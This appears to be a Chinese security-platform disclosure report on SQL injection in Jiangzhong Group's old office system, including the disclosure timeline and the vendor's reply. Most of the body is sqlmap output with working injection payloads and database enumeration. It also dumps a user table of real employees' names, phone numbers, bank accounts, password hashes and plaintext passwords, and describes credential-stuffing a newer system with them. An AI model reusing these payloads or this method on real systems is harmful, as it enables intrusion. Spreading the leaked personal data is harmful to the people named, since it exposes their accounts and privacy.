2015-07-20: 细节已通知厂商并且等待厂商处理中 2015-07-21: 厂商已经确认,细节仅向厂商公开 2015-07-31: 细节向核心白帽子及相关领域专家公开 2015-08-10: 细节向普通白帽子公开 2015-08-20: 细节向实习白帽子公开 2015-09-04: 细节向公众公开
这两天江中集团的问题很多,多个oa系统被爆出安全问题,可能是跟之前有白帽子爆出某个旧站的资料泄露问题,没有被重视,而得到了1 Rank。嘿嘿,全是自己猜想。不过个人觉得很不应该,旧站爆出来的问题还应该得到重视的,毕竟其中有大量有用资料。不要小看了社工的力量。我也是从分析旧资料到社工一点一点进入某个系统,并得到大量资料。*问题可能之前有前辈们已经爆出了。可能会有重复。如已经重复则不用通过。ps:嘿嘿,不过作为新手的我,能凭自己的感觉得到一个shell还是很开心。(前面有个 “4个核心业务系统getshell+大部分系统拿后台+控16台IP超60个数据库迈10G数据” 的大神,我先膜拜下。大神收下我的膝盖吧!)
第一步:找到旧协同办公系统的漏洞,并收集资料。一个sql注入(前边前辈有多人提出过了。我就一带而过了)
sqlmap identified the following injection points with a total of 1955 HTTP(s) requests:---Parameter: userid (POST) Type: error-based Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause Payload: refer=/email.jsp&userid=jxude' AND 6882=CONVERT(INT,(SELECT CHAR(113)+CHAR(112)+CHAR(118)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (6882=6882) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(120)+CHAR(98)+CHAR(113))) AND 'Uzju'='Uzju&passwd=123123&R1.x=31&R1.y=45 Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries (comment) Payload: refer=/email.jsp&userid=jxude';WAITFOR DELAY '0:0:5'--&passwd=123123&R1.x=31&R1.y=45 Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase time-based blind (comment) Payload: refer=/email.jsp&userid=jxude' WAITFOR DELAY '0:0:5'--&passwd=123123&R1.x=31&R1.y=45 Type: UNION query Title: Generic UNION query (NULL) - 23 columns Payload: refer=/email.jsp&userid=jxude' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(112)+CHAR(118)+CHAR(120)+CHAR(113)+CHAR(101)+CHAR(65)+CHAR(107)+CHAR(114)+CHAR(74)+CHAR(66)+CHAR(100)+CHAR(122)+CHAR(114)+CHAR(84)+CHAR(113)+CHAR(113)+CHAR(120)+CHAR(98)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- &passwd=123123&R1.x=31&R1.y=45---back-end DBMS: Microsoft SQL Server 2000sqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Parameter: userid (POST) Type: error-based Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause Payload: refer=/email.jsp&userid=jxude' AND 6882=CONVERT(INT,(SELECT CHAR(113)+CHAR(112)+CHAR(118)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (6882=6882) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(120)+CHAR(98)+CHAR(113))) AND 'Uzju'='Uzju&passwd=123123&R1.x=31&R1.y=45 Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries (comment) Payload: refer=/email.jsp&userid=jxude';WAITFOR DELAY '0:0:5'--&passwd=123123&R1.x=31&R1.y=45 Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase time-based blind (comment) Payload: refer=/email.jsp&userid=jxude' WAITFOR DELAY '0:0:5'--&passwd=123123&R1.x=31&R1.y=45 Type: UNION query Title: Generic UNION query (NULL) - 23 columns Payload: refer=/email.jsp&userid=jxude' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(112)+CHAR(118)+CHAR(120)+CHAR(113)+CHAR(101)+CHAR(65)+CHAR(107)+CHAR(114)+CHAR(74)+CHAR(66)+CHAR(100)+CHAR(122)+CHAR(114)+CHAR(84)+CHAR(113)+CHAR(113)+CHAR(120)+CHAR(98)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- &passwd=123123&R1.x=31&R1.y=45---back-end DBMS: Microsoft SQL Server 2000available databases [10]:[*] JzWeb[*] lumigent[*] master[*] model[*] msdb[*] Northwind[*] pubs[*] tempdb[*] YC_SmartCard[*] ysbx_zj
其中“JzWeb”为旧站数据库,内部的表有(太多了,就拿出重要了)
back-end DBMS: Microsoft SQL Server 2000Database: JzWeb[278 tables]+---------------------+| JzWeb.D99_Tmp || ACNP50YM || ACNP50YY$ || ACNP50_GF || APL_gf || BBNAME || BBTYPE || CALC_METHODS || Cust_Check || Cust_State || DZ || FImaster_audit |。。。 Results || Resume || RetainInfo || Route || SectionHeadInfo || Sheet1$ 。。 syssegments || temp_usr || tmp_usr || usr1 || usr_dep || usr_dep || usr_func || usr_inf || usr_level
其中的“tmp_usr ,usr1 ”这个两表内的资料是重点
Database: JzWebTable: usr1[930 entries]+-----------------------+---------------------+--------+---------------+------+-----------+----------------------------------------------------+----------------------------------+----------------+----------------+--------------+--------+-----------+-----------+-----------+| account | bank | compid | email | id | iden_type | line_id | MD5PSW | mobile | psw | roll | status | ture_name | user_name | usr_right |+-----------------------+---------------------+--------+---------------+------+-----------+----------------------------------------------------+----------------------------------+----------------+----------------+--------------+--------+-----------+-----------+-----------+| NULL | NULL | 5 | ljy | 5037 | NULL | NULL | 0004D0B59E19461FF126E3A08A814C33 | 13072721321 | NULL | <blank> | 1 | 李家勇 | ljy | 1 || 078710117182 | 工行阳办青山所 | 3 | ljj | 3057 | NULL | NULL | 006C6938FF4E2627327A02A2C8CEE2BB | NULL | 5200168 | <blank> | 1 | 林钧剑 | LJJ | 1 || NULL | NULL | 2 | wwt | 2991 | NULL | NULL | 0197392F9060270A438758CE66894C6B | 13170870976 | NULL | <blank> | 1 | 王文婷 | wwt | 1 || NULL | NULL | 2 | hlm | 2784 | NULL | NULL | 01C16F1D68AF52699C25ABDD7E9E0525 | 13687918970 | NULL | <blank> | 1 | 黄黎明 | hlm | 1 || 078710027450 | NULL | 2 | NULL | 2071 | NULL | NULL | 022E0EE5162C13D9A7BB3BD00FB032CE | NULL | 6451 | 普通用户 | 1 | 戴志坚 | DZJ | 1 || 078710010673 | NULL | 2 | hyg | 2128 | NULL | NULL | 055EB0369838D95BFFD49CC77CB53529 | <blank> | 9876 | <blank> | 1 | 黄宜刚 | HYG | 1 || 078710012976 | NULL | 2 | yg | 2306 | NULL | NULL | 07FAF58F67F2159AC13EE089E9F59326 | NULL | yaogang | 普通用户 | 1 | 姚刚 | YGANG | 1 || NULL | NULL | 5 | zj | 5008 | NULL | NULL | 08F90C1A417155361A5C4B8D297E0D78 | NULL | 9876 | 普通用户 | 1 | 郑静 | zj | 1 || 078710013914 | 工行阳办青山储蓄所 | 3 | wangguobao | 3144 | NULL | NULL ...
其中有大量的会员姓名,手机号,帐号,邮箱,还有MD5的密码(网上一查就破解了)。好了第一步完成。收集以前旧站的会员资料。第二步:通过以上资料,去撞新协同系统。(不好意思,我还不会自动撞库,所以是手动一个一个试的。)不过还真的要我试出来一个:
其中有内部通信录
同时还有多个内部管理系统的地址
用之前的会员资料在整合最新的通讯录的手机号,还能撞出几个系统的shell就不知道了。哎不会自动撞库就是废啊。
重视内部资料
危害等级:中
漏洞Rank:5
确认时间:2015-07-21 10:19
该站点为我司较早期建立,疏于管理,现已关闭外网地址,针对已泄漏信息已派专人负责处理该问题
暂无